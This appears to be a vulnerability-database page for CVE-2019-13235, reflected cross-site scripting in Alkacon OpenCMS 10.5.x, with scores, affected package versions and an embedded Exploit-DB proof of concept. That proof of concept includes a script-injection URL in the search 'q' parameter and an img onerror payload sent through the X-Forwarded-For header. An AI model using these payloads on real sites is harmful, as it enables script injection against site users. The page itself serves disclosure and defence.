CVE-2019-13235

unknown

Published 2019-11-12 · Modified 2023-11-08

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

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CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

1.0

Description

XSS in login form

Predictions

Exploit likelihood

30%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-47338 webapps multiple text · 1 KB

Aetsu · 2019-09-02

Alkacon OpenCMS 10.5.x - Cross-Site Scripting

text exploit Source: Exploit-DB

# Exploit Title: Alkacon OpenCMS 10.5.x - Multiple XSS in Apollo Template
# Google Dork: N/A
# Date: 18/07/2019
# Exploit Author: Aetsu
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/apollo-template
# Version: 10.5.x
# Tested on: 10.5.5 / 10.5.4
# CVE : CVE-2019-13234, CVE-2019-13235

1. Reflected XSS in the search engine:
- Affected resource -> "q"
POC:
```
https://example.com/apollo-demo/search/index.html?facet_category_exact_ignoremax&q=demo%20examplez4e62%22%3e%3cscript%3ealert(1)%3c%2fscript%3ewhhpg&facet_type_ignoremax&facet_search.subsite_exact_ignoremax&reloaded&facet_query_query_ignoremax&
```
2. Reflected XSS in login form:
POC:
The vulnerability appears when the header X-Forwarded-For is used as shown
in the next request:
```
GET
/login/index.html?requestedResource=&name=Editor&password=editor&action=login
HTTP/1.1
Host: example.com
X-Forwarded-For: .<img src=. onerror=alert('XSS')>.test.ninja
```


Extended POCs: https://aetsu.github.io/OpenCms

Package impact

Ecosystem	Package	Vulnerable	Fixed
Maven	org.opencms:opencms-core	`<11.0.1`	`11.0.1`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.